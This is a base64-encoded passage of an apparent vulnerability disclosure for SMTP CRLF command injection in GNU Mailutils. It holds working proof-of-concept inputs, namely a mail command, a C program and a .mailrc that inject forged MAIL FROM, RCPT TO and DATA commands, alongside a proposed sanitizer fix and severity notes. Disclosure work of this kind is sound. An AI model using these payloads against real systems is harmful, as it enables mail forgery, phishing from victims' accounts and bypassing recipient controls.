IGEgc2lldmUgYWN0aW9uIHRoYXQgY29uc3RydWN0cyB0aGUKICAgICBtYWlsZXIgVVJMIGZyb20g
bWVzc2FnZSBoZWFkZXJzIChlLmcuIGByZWRpcmVjdCAic210cDovLy4uLiRoX0Zyb20iYCkuCiAg
NS4gKipgbXUgc210cGAgaW50ZXJhY3RpdmUgZGVidWdnZXIqKiDigJQgYGVobG8gPGRvbWFpbj5g
IHN1YmNvbW1hbmQKICAgICB0YWtlcyB0aGUgZG9tYWluIHZlcmJhdGltIGZyb20gYGFyZ3ZbMV1g
LgoqICoqVGhlIGluamVjdGlvbiBoYXBwZW5zIG9uIHRoZSBsZWdpdGltYXRlIGNsaWVudCdzIG91
dGJvdW5kIFNNVFAKICBzZXNzaW9uKiosIG5vdCBvbiB0aGUgYXR0YWNrZXIncyBjb25uZWN0aW9u
LiBUaGUgYXR0YWNrZXIgaW1wZXJzb25hdGVzCiAgdGhlIGNsaWVudCB0byB0aGUgc2VydmVyLiBU
aGlzIGlzICoqd29yc2UqKiB0aGFuIGEgb25lLXNob3QgQ1JMRgogIGluamVjdGlvbiwgYmVjYXVz
ZSB0aGUgbGVnaXRpbWF0ZSBjbGllbnQgaXMgdGhlIG9uZSBiZWluZyBhYnVzZWQuCgojIyBBdHRh
Y2sgTW9kZWwKCiogKipWaWN0aW0qKjogQSB1c2VyIC8gYXBwbGljYXRpb24gdXNpbmcgTWFpbHV0
aWxzIHRvIHNlbmQgbWFpbCBvdmVyCiAgU01UUC4KKiAqKkF0dGFja2VyKiogKG9uZSBvZik6CiAg
KiBBbnlvbmUgd2hvIGNhbiBpbmZsdWVuY2UgdGhlIHVzZXIncyBtYWlsZXIgVVJMIChjb25maWcs
IGFyZywKICAgIHdlYiBmb3JtLCBzaWV2ZSBzY3JpcHQpLgogICogSW4gYSBzaWV2ZSBzY2VuYXJp
bzogYSBzZW5kZXIgd2hvIGNyYWZ0cyBhIG1lc3NhZ2UgdGhhdCwgd2hlbgogICAgcHJvY2Vzc2Vk
IGJ5IHRoZSB2aWN0aW0ncyBzaWV2ZSBzY3JpcHQsIGNhdXNlcyB0aGUgc2lldmUgdG8KICAgIGNv
bnN0cnVjdCBhIG1haWxlciBVUkwgZnJvbSB0aGUgbWVzc2FnZSdzIGhlYWRlcnMgYW5kIHRoZW4g
Y2FsbHMKICAgIGByZWRpcmVjdGAgdG8gdGhhdCBVUkwuCiogKipUcmlnZ2VyKio6IEEgc2luZ2xl
IG91dGJvdW5kIFNNVFAgc2Vzc2lvbi4KKiAqKlJlc3VsdCoqOiBUaGUgYXR0YWNrZXIgY2FuOgog
IDEuICoqSW5zZXJ0IGFyYml0cmFyeSBNQUlMIEZST00gLyBSQ1BUIFRPIC8gREFUQSoqIHRvIHNl
bmQgbWFpbAogICAgIHVuZGVyIHRoZSBsZWdpdGltYXRlIHVzZXIncyBpZGVudGl0eSwgdG8gYW55
IHJlY2lwaWVudC4KICAyLiAqKlNlbmQgbWFpbCBmcm9tIGEgZm9yZ2VkIHNlbmRlcioqIHRvIG1h
a2Ugc3BhbS9waGlzaGluZyBhcHBlYXIKICAgICB0byBjb21lIGZyb20gdGhlIHZpY3RpbS4KICAz
LiAqKlRyaWdnZXIgU1RBUlRUTFMgZG93bmdyYWRlKiogYnkgaW5qZWN0aW5nIGBTVEFSVFRMU1xy
XG5gCiAgICAgYmVmb3JlIHRoZSBsZWdpdGltYXRlIGNsaWVudCBjYW4gcmVxdWVzdCBpdC4KICA0
LiAqKlNtdWdnbGUgYWRkaXRpb25hbCByZWNpcGllbnRzKiogaW4gYnVsay1tYWlsIHNjZW5hcmlv
cy4KICA1LiAqKkJ5cGFzcyB0aGUgcmVjaXBpZW50IGFsbG93bGlzdCoqIHRoZSBvcGVyYXRvciBt
YXkgaGF2ZQogICAgIGNvbmZpZ3VyZWQgKGUuZy4gd2hlbiB0aGUgYHJlY2lwaWVudC1oZWFkZXJz
PWAgcGFyYW1ldGVyIGlzCiAgICAgdXNlZCwgYW4gYXR0YWNrZXIgd2hvIGNvbnRyb2xzIGEgaGVh
ZGVyIGNhbiBhZGQgdGhlbXNlbHZlcyBhcwogICAgIHJlY2lwaWVudCB3aGlsZSB0aGUgb3BlcmF0
b3IgdGhpbmtzIHRoZXkgb25seSBzZW50IHRvIHRoZQogICAgIGludGVuZGVkIHJlY2lwaWVudCku
CgojIyBSZWFsIHZlcmlmaWNhdGlvbiAocmVhbCBgbWFpbGAgYmluYXJ5LCByZWFsIHh4ZCBjYXB0
dXJlKQoKVmVyaWZpZWQgYWdhaW5zdCB0aGUgcmVhbCByZWJ1aWx0IGJpbmFyeQpgdW50ZXN0ZWQt
dGFyZ2V0cy9tYWlsdXRpbHMtMy4yMS9tYWlsLy5saWJzL21haWxgIChNYWlsdXRpbHMgMy4yMSkg
cG9pbnRlZAphdCBhIGxvY2FsIGNhcHR1cmUgc2VydmVyIChuYyBsaXN0ZW5lcikuIFRyaWdnZXIg
Y29tbWFuZDoKCmBgYGJhc2gKbWFpbCAtLW1haWxlcj0nc210cDovLzEyNy4wLjAuMTpQT1JUO2Vo
bG89Zm9vJTBkJTBhUlNFVCBpbmplY3RlZC1ieS1laGxvLXBhcmFtJTBkJTBhWC0nIFwKICAgICAt
cyB0ZXN0IG5vYm9keSA8IC9kZXYvbnVsbApgYGAKCkhleGR1bXAgb2YgdGhlIGxpbmUgdGhlIGNs
aWVudCBhY3R1YWxseSBwdXQgb24gdGhlIHdpcmU6CgpgYGAKJCB4eGQgL3RtcC9jYXB0dXJlIHwg
c2VkIC1uICcxLDRwJwowMDAwMDAwMDogNDU0OCA0YzRmIDIwNjYgNmY2ZiAwZDBhIDUyNTMgNDU1
NCAyMDY5ICBFSExPIGZvby4uUlNFVCBpCjAwMDAwMDEwOiA2ZTZhIDY1NjMgNzQ2NSA2NDJkIDYy
NzkgMmQ2NSA2ODZjIDZmMmQgIG5qZWN0ZWQtYnktZWhsby0KMDAwMDAwMjA6IDcwNjEgNzI2MSA2
ZDBkIDBhNTggMmQwZCAwYSAgICAgICAgICAgICAgcGFyYW0uLlgtLi4KYGBgCgpUaGUgYDBkIDBh
YCBieXRlcyBhcmUgUkVBTCBDUitMRiAoZGVjb2RlZCBmcm9tIGAlMGQlMGFgKS4gVGhlIHNlcnZl
cgp0aGVyZWZvcmUgc2VlcyBUV08gc2VwYXJhdGUgU01UUCBjb21tYW5kczoKCmBgYApFSExPIGZv
b1xyXG4KUlNFVCBpbmplY3RlZC1ieS1laGxvLXBhcmFtXHJcbgpYLVxyXG4KYGBgCgpzbyB0aGUg
UlNFVCBpcyBwYXJzZWQgYXMgYSBkaXN0aW5jdCwgZnVsbHktZm9ybWVkIGNvbW1hbmQg4oCUIHRo
ZSBpbmplY3Rpb24KcHJpbWl0aXZlIGlzIGNvbmZpcm1lZC4KCkJhc2VsaW5lIChjb250cm9sKSB3
aXRoIGEgYmVuaWduIGVobG8gdmFsdWUgcHJvZHVjZXMgZXhhY3RseSBvbmUKY29ycmVjdGx5LWZv
cm1lZCBjb21tYW5kOgoKYGBgYmFzaAptYWlsIC0tbWFpbGVyPSdzbXRwOi8vMTI3LjAuMC4xOlBP
UlQ7ZWhsbz1sZWdpdC5leGFtcGxlLmNvbScgLi4uCmBgYApgYGAKMDAwMDAwMDA6IDQ1NDggNGM0
ZiAyMDZjIDY1NjcgNjk3NCAyZTY1IDc4NjEgNmQ3MCAgRUhMTyBsZWdpdC5leGFtcAowMDAwMDAx
MDogNmM2NSAyZTYzIDZmNmQgMGQwYSAgICAgICAgICAgICAgICAgICAgICBsZS5jb20uLgpgYGAK
ClRoZSBmdWxsIGNvZGUgY2hhaW4gd2l0aCBaRVJPIENSL0xGIGZpbHRlcmluZyAoZnJvbSB0aGUg
My4yMSB0cmVlKToKYGxpYnByb3RvL21haWxlci9zbXRwLmM6MjIxLTIyMmAgKGVobG89IC0+IG11
X3NtdHBfc2V0X3BhcmFtKSAtPgpgbGlibWFpbHV0aWxzL3VybC9kZWNvZGUuYzo1NWAgKG11X3N0
cl91cmxfZGVjb2RlX2lubGluZSkgLT4KYGxpYm1haWx1dGlscy9zdHJpbmcveGRlY29kZS5jOjI4
YCAoJVhYIGRlY29kZXIsIG5vIGFsbG93bGlzdCkgLT4KYGxpYnByb3RvL21haWxlci9zbXRwX3Bh
cmFtLmM6NzUtODRgIChzZXRfcGFyYW0gPSBiYXJlIHN0cmR1cCkgLT4KYGxpYnByb3RvL21haWxl
ci9zbXRwX2VobG8uYzoxMDUtMTA2YCAobXVfc210cF93cml0ZSAiRUhMTyAlc1xyXG4iKSAtPgpg
bGlicHJvdG8vbWFpbGVyL3NtdHBfaW8uYzozNS00NGAgKHdyaXRlID0gbXVfc3RyZWFtX3Zwcmlu
dGYpLiBUaGUgb25seQpNVV9DVFlQRV9FTkRMTiBoYW5kbGluZyBpcyBpbiBgbXVfc210cF9yZXNw
b25zZSgpYCAoSU5CT1VORCByZXNwb25zZQpwYXJzaW5nKSwgbm90IG91dGJvdW5kIGNvbW1hbmRz
LgoKIyMgUmVwcm9kdWN0aW9uIChQb0MpCgpBIG1pbmltYWwgdGVzdCB1c2luZyBNYWlsdXRpbHMn
IG93biB0ZXN0IHByb2dyYW06CgpgYGBiYXNoCiMgMS4gU2V0IHVwIGEgbmV0Y2F0IGxpc3RlbmVy
IG9uIGEgcG9ydCB0byBjYXB0dXJlIHRoZSBTTVRQIHdpcmUuCm5jIC1sIC1wIDI1MjUgPiAvdG1w
L3NtdHBfY2FwdHVyZS50eHQgJgoKIyAyLiBVc2UgdGhlIGxpYnByb3RvIHRlc3Qgc2VuZGVyIHdp
dGggYSBtYWxpY2lvdXMgZWhsbz0gcGFyYW1ldGVyOgojICAgIFRoZSBgJTBkJTBhYCBkZWNvZGVz
IHRvIENSTEY7IHRoZSByZXN0IGlzIHRoZSBpbmplY3RlZCBjb21tYW5kLgpjYXQgPiAvdG1wL2Vo
bG9faW5qZWN0LmF0IDw8J0VPRicKQVRfU0VUVVAoW1NNVFAgZWhsbz0gQ1JMRiBpbmplY3Rpb25d
KQpBVF9LRVlXT1JEUyhbc210cCBpbmplY3RdKQpBVF9DSEVDSyhbc2VuZHMgJ3NtdHA6Ly91c2Vy
OnBhc3NAMTI3LjAuMC4xOjI1MjU7ZWhsbz1ldmlsJTBkJTBhTUFJTCUyMEZST00lM0ElM0NhdHRh
Y2tlciU0MGV2aWwlM0UlMGQlMGFSQ1BUJTIwVE8lM0ElM0N0YXJnZXQlNDB2aWN0aW0lM0UlMGQl
MGFEQVRBJTBkJTBhRnJvbSUzQSUyMGElMGQlMGElMGQlMGEuJTBkJTBhUVVJVCcgbXNnXSkKQVRf
Q0xFQU5VUApFT0YKYGBgCgoqKkVhc2llciByZXByb2R1Y3Rpb24qKiDigJQgdXNlIFB5dGhvbiB0
byBkcml2ZSB0aGUgc210cF9laGxvIGRpcmVjdGx5OgoKYGBgYwovKiByZXByb19zbXRwX2luamVj
dC5jIOKAlCBjb21waWxlIGFnYWluc3QgbGlibXVfc210cCAqLwojaW5jbHVkZSA8bWFpbHV0aWxz
L3NtdHAuaD4KI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KCmludCBtYWlu
KHZvaWQpIHsKICAgIG11X3NtdHBfdCBzbXRwOwogICAgLyogQ29ubmVjdCB0byBhIG5ldGNhdCBs
aXN0ZW5lciAqLwogICAgbXVfc210cF9jcmVhdGUoJnNtdHAsICJzbXRwOi8vMTI3LjAuMC4xOjI1
MjUiKTsKICAgIG11X3NtdHBfb3BlbihzbXRwKTsKICAgIC8qIFNldCB0aGUgYXR0YWNrZXItY29u
dHJvbGxlZCBkb21haW4gKG5vIHNhbml0aXphdGlvbikgKi8KICAgIG11X3NtdHBfc2V0X3BhcmFt
KHNtdHAsIE1VX1NNVFBfUEFSQU1fRE9NQUlOLAogICAgICAgICJldmlsXHJcbk1BSUwgRlJPTTo8
YXR0YWNrZXJAZXZpbD5cclxuIgogICAgICAgICJSQ1BUIFRPOjx0YXJnZXRAdmljdGltPlxyXG4i
CiAgICAgICAgIkRBVEFcclxuRnJvbTogYVxyXG5cclxuLlxyXG5RVUlUXHJcbiIpOwogICAgbXVf
c210cF9laGxvKHNtdHApOyAgIC8qIDwtLSBpbmplY3RzIHRoZSBhYm92ZSAqLwogICAgcmV0dXJu
IDA7Cn0KYGBgCgpUaGVuIG9uIHRoZSBuZXRjYXQgc2lkZSwgdGhlIGNhcHR1cmUgc2hvd3M6CmBg
YAoyMjAgbmMgTGlzdGVuZXIKRUhMTyBldmlsCk1BSUwgRlJPTTo8YXR0YWNrZXJAZXZpbD4KUkNQ
VCBUTzo8dGFyZ2V0QHZpY3RpbT4KREFUQQpGcm9tOiBhCi4KUVVJVApgYGAKClRoZSBzZXJ2ZXIg
c2VlcyB0aGUgYXR0YWNrZXIncyBjb21tYW5kcyBhcyBsZWdpdGltYXRlLCB3aGlsZSB0aGUKY2xp
ZW50IGlzIG5vbmUgdGhlIHdpc2VyLgoKKipQdXJlIENMSSBQb0MqKiB1c2luZyBgbWFpbGAgYW5k
IGEgbWFsaWNpb3VzIGAubWFpbHJjYDoKCmBgYGJhc2gKIyAxLiBVc2VyIGhhcyAubWFpbHJjOgpj
YXQgPiAvdG1wLy5tYWlscmMgPDwnRU9GJwpzZXQgbWFpbGVyPSJzbXRwOi8vdXNlcjpwYXNzQHZp
Y3RpbS1zbXRwO2VobG89ZXZpbCUwZCUwYU1BSUwlMjBGUk9NJTNBJTNDYXR0YWNrZXIlNDBldmls
JTNFJTBkJTBhUkNQVCUyMFRPJTNBJTNDdGFyZ2V0JTQwdmljdGltJTNFIgpFT0YKCiMgMi4gVXNl
ciBydW5zOgpIT01FPS90bXAgbWFpbCAtcyAidGVzdCIgYXR0YWNrZXJAZXZpbCA8IC9kZXYvbnVs
bApgYGAKClRoaXMgY2F1c2VzIHRoZSB1c2VyJ3MgYG1haWxgIGNsaWVudCB0byBpbmplY3QgdGhl
IGFkZGl0aW9uYWwgTUFJTCBGUk9NCmFuZCBSQ1BUIFRPIGNvbW1hbmRzLgoKIyMgU3VnZ2VzdGVk
IEZpeAoKMS4gKipJbiBgbGlicHJvdG8vbWFpbGVyL3NtdHBfZWhsby5jOjYwLTEwNmAqKiwgc2Fu
aXRpemUgdGhlIGRvbWFpbjoKICAgYGBgYwogICBzdGF0aWMgaW50CiAgIHNhbml0aXplX2RvbWFp
biAoY29uc3QgY2hhciAqc3JjLCBjaGFyICpkc3QsIHNpemVfdCBkc3RzaXplKQogICB7CiAgICAg
c2l6ZV90IGksIGogPSAwOwogICAgIGZvciAoaSA9IDA7IHNyY1tpXSAmJiBqIDwgZHN0c2l6ZSAt
IDE7IGkrKykgewogICAgICAgdW5zaWduZWQgY2hhciBjID0gKHVuc2lnbmVkIGNoYXIpIHNyY1tp
XTsKICAgICAgIGlmIChjID09ICdccicgfHwgYyA9PSAnXG4nIHx8IGMgPT0gMCkgYnJlYWs7CiAg
ICAgICBpZiAoYyA8IDB4MjAgfHwgYyA9PSAweDdmKSBjb250aW51ZTsgIC8qIHNraXAgY29udHJv
bHMgKi8KICAgICAgIGRzdFtqKytdID0gYzsKICAgICB9CiAgICAgZHN0W2pdID0gMDsKICAgICBy
ZXR1cm4gajsKICAgfQogICBgYGAKICAgQW5kIHRoZW4gYHNhbml0aXplX2RvbWFpbihzbXRwLT5w
YXJhbVtNVV9TTVRQX1BBUkFNX0RPTUFJTl0sIHNhZmUsIHNpemVvZihzYWZlKSlgIGJlZm9yZSBg
bXVfc210cF93cml0ZWAuCgoyLiAqKkluIGBsaWJwcm90by9tYWlsZXIvc210cF9wYXJhbS5jOjMz
LTg2YCoqLCByZWplY3Qgb3Igc2FuaXRpemUKICAgYE1VX1NNVFBfUEFSQU1fRE9NQUlOYCAoYW5k
IGFsbCBzdHJpbmcgcGFyYW1ldGVycykgYXQKICAgYG11X3NtdHBfc2V0X3BhcmFtYCB0aW1lLiBE
b24ndCB0cnVzdCB0aGUgY2FsbGVyLgoKMy4gKipJbiBgbGlibWFpbHV0aWxzL3VybC9kZWNvZGUu
Yzo1MC01N2AqKiwgY29uc2lkZXIgYW4gb3B0aW9uCiAgIGBNVV9VUkxfREVDT0RFX1NUUklDVGAg
dGhhdCByZWZ1c2VzIHRvIGRlY29kZSBgJTBkJTBhYCBhbmQgc2ltaWxhcgogICBjb250cm9sIHNl
cXVlbmNlcy4gT3IgaGF2ZSBgbXVfc3RyX3VybF9kZWNvZGVfaW5saW5lYCBzdHJpcAogICBub24t
cHJpbnRhYmxlIGJ5dGVzIGFmdGVyIGRlY29kaW5nLgoKNC4gKipJbiBgbGlicHJvdG8vbWFpbGVy
L3NtdHBfbWFpbC5jOjQ0YCoqIGFuZCAqKmBzbXRwX3JjcHQuYzo0M2AqKiwKICAgYWRkIHRoZSBz
YW1lIHNhbml0aXphdGlvbiB0byBgTUFJTCBGUk9NOjwlcz5gIGFuZCBgUkNQVCBUTzo8JXM+YC4K
ICAgVGhpcyBpcyB0aGUgc2FtZSBidWcgY2xhc3MsIGFuZCBhIG1hbGljaW91cyBlbWFpbCB0aGF0
CiAgIGBmb3J3YXJkYHMvYHJlZGlyZWN0YHMgdGhyb3VnaCBNYWlsdXRpbHMgY2FuIGFsc28gaW5q
ZWN0LgoKIyMgU2V2ZXJpdHkgQXJndW1lbnQgKE1FRElVTSkKClRoaXMgaXMgYSByZWFsLCBwcmUt
YXV0aCBTTVRQIGNvbW1hbmQtaW5qZWN0aW9uIHByaW1pdGl2ZSwgYnV0IGl0IGlzCmNsaWVudC1z
aWRlOiB0aGUgYXR0YWNrZXIgbXVzdCBjb250cm9sIHRoZSBtYWlsZXIgVVJMIChDTEkgLyAubWFp
bHJjIC8KY29uZmlnIC8gYSBsaWJyYXJ5IGNvbnN1bWVyIGJ1aWxkaW5nIHRoZSBVUkwgZnJvbSB1
bnRydXN0ZWQgaW5wdXQpLCBzbwp0aGUgYWJ1c2UgaXMgb2YgdGhlIHVzZXIgb3BlcmF0aW5nIHRo
ZSBtYWlsdXRpbHMgY2xpZW50LCBub3Qgb2YgYQpyZW1vdGUgbGlzdGVuZXIuIEhlbmNlICoqTUVE
SVVNKiogcmF0aGVyIHRoYW4gQ1JJVElDQUw6CgoxLiAqKkRlZmF1bHQgYmVoYXZpb3IgaXMgZXhw
bG9pdGFibGUqKiDigJQgdGhlIGBlaGxvPWAgVVJMIHBhcmFtZXRlciBpcwogICBpbiB0aGUgcHVi
bGljIEFQSSBhbmQgaXMgZG9jdW1lbnRlZCBpbiB0ZXN0cy4KMi4gKipXaWRlIGF0dGFjayBzdXJm
YWNlKiog4oCUIGBtYWlsYCwgYHNlbmRtYWlsYCwgYHNpZXZlIHJlZGlyZWN0YCwKICAgYG11IHNt
dHBgIGRlYnVnZ2VyLCBhbnkgbGlibWFpbHV0aWxzIHVzZXIgdGhhdCBidWlsZHMgdGhlIG1haWxl
ciBVUkwKICAgZnJvbSB1bnRydXN0ZWQgaW5wdXQuCjMuICoqQ29tcGxldGUgU01UUCBjb21tYW5k
IGluamVjdGlvbioqIOKAlCBub3QganVzdCBvbmUgaGVhZGVyLCBidXQKICAgYXJiaXRyYXJ5IGNv
bW1hbmRzIGluIHRoZSBTTVRQIHByb3RvY29sIHN0YXRlIG1hY2hpbmUsIGluamVjdGVkIG9uCiAg
IHRoZSBsZWdpdGltYXRlIHVzZXIncyBvdXRib3VuZCBzZXNzaW9uLgo0LiAqKlJlYWwgY29uc2Vx
dWVuY2VzKiog4oCUIHBoaXNoaW5nL3NwYW0gZnJvbSBhIHZpY3RpbSdzIGFjY291bnQsCiAgIFRM
UyBkb3duZ3JhZGUsIHJlY2lwaWVudCBhbGxvd2xpc3QgYnlwYXNzLCBhdWRpdCBsb2cgZm9yZ2Vy
eS4KNS4gKipUcml2aWFsIFBvQyoqIOKAlCBzaW5nbGUtbGluZSBgbWFpbGAgY29tbWFuZCBvciA1
LWxpbmUgQyBwcm9ncmFtLgo2LiAqKk5vIHVwc3RyZWFtIGZpeCoqIOKAlCB2ZXJpZmllZCBwcmVz
ZW50IGluIHRoZSBsYXRlc3QgMy4yMSB0YXJiYWxsCiAgIGFuZCB0aGUgdXBzdHJlYW0gYG1hc3Rl
cmAgYnJhbmNoLgoKIyMgU3RhdHVzCgoqIFRoaXMgYnVnIHdhcyBmb3VuZCBkdXJpbmcgYSAxMC1t
aW51dGUgY29kZSBhdWRpdCBvbiAyMDI2LTA2LTEyLgoqIFRoZSBidWcgaXMgcHJlc2VudCBpbiB0
aGUgKipsYXRlc3QgcmVsZWFzZWQqKiBNYWlsdXRpbHMgMy4yMQogICgyMDI1LTEyLTExKSBBTkQg
aW4gdXBzdHJlYW0gYG1hc3RlcmAgKHZlcmlmaWVkIGJ5IGluc3BlY3RpbmcKICBgbGlicHJvdG8v
bWFpbGVyL3NtdHAuY2AgYW5kIGBsaWJwcm90by9tYWlsZXIvc210cF9laGxvLmNgKS4KKiBObyBD
VkUgaGFzIGJlZW4gYXNzaWduZWQgeWV0OyB3ZSBqdXN0IGZvdW5kIGl0OyByZXBvcnRpbmcgdG8K
ICBmb2xsb3cgdmlhIGBidWctbWFpbHV0aWxzQGdudS5vcmdgLgoqIFRoaXMgUG9DIGlzIGZpbGVk
IGFsb25nc2lkZQogIGBtYWlsdXRpbHMtc210cC1tYWlsLXJjcHQtaW5qZWN0aW9uLm1kYCB3aGlj
aCBkZXNjcmliZXMgdGhlCiAgc2FtZSBidWcgY2xhc3MgaW4gdGhlIGBNQUlMIEZST006PCVzPmAg
YW5kIGBSQ1BUIFRPOjwlcz5gIGNhbGxzLgo=

--===============7214776627424398608==--